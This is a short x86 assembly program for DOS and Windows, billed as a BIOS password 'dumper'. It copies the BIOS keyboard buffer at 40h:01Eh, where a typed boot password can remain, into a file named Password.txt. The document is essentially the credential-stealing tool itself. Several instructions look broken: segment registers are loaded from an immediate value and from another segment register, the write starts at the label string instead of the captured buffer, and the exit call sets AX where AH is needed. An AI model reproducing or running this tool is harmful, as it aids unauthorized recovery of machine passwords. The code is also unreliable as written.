BIOS password physical memory reading utility that writes to a file.
eda2018befaa92c06c565bfe52b36eb3c4b46699bc8d31f3df94cb7e532159c1
;---------------- [ wbiosw.asm ]-----------------------------------------
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; Endrazine endrazine@pulltheplug.org ;
; Bios Password Physical Memory Reader ;
; Write to file,MS Windows Compatible version ;
;Complete article at http://www.pulltheplug.org/users/endrazine;
; ;
;Compiling : A86 wbiosw.asm wbiosw.com ;
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code segment
org 100h
assume ds:code, es:code, cs:code
start:
mov ah, 09h
mov dx,offset welcome
int 21h
xor ax,ax
int 16h
mov ds, 40h ; This is the input buffer adress
mov si, 01EH ; starting at 40h:01eh
mov di,offset buffer
mov cx,32
daloop:
mov ax,[ds:si]
mov [cs:di],ax
inc di
add si,2 ; Replace this line by add si,4
; if you plan to use it under Dos
loop daloop
mov ds,es
mov ah, 3ch ; MS DOS Create file Function
mov dx, offset fname
xor cx,cx
int 21h
mov ax, 3d01h ; MS DOS Open file Function
int 21h
mov handle,ax
mov ah, 40h
mov bx,handle
mov cx,32
mov dx, offset Msg
int 21h ; Write buffer to file
mov ax,4ch ; Quit
int 21h
handle dw ?
welcome db 'Password dumper by Endrazine (endrazine@pulltheplug.org)',10,13
db '',10,13
db 'Dumping Password to Password.txt',10,13
db 'Press any Key$',10,13
fname db 'Password.txt',0
Msg db 'Password is : ',0
buffer db 32 dup ?
end start
end
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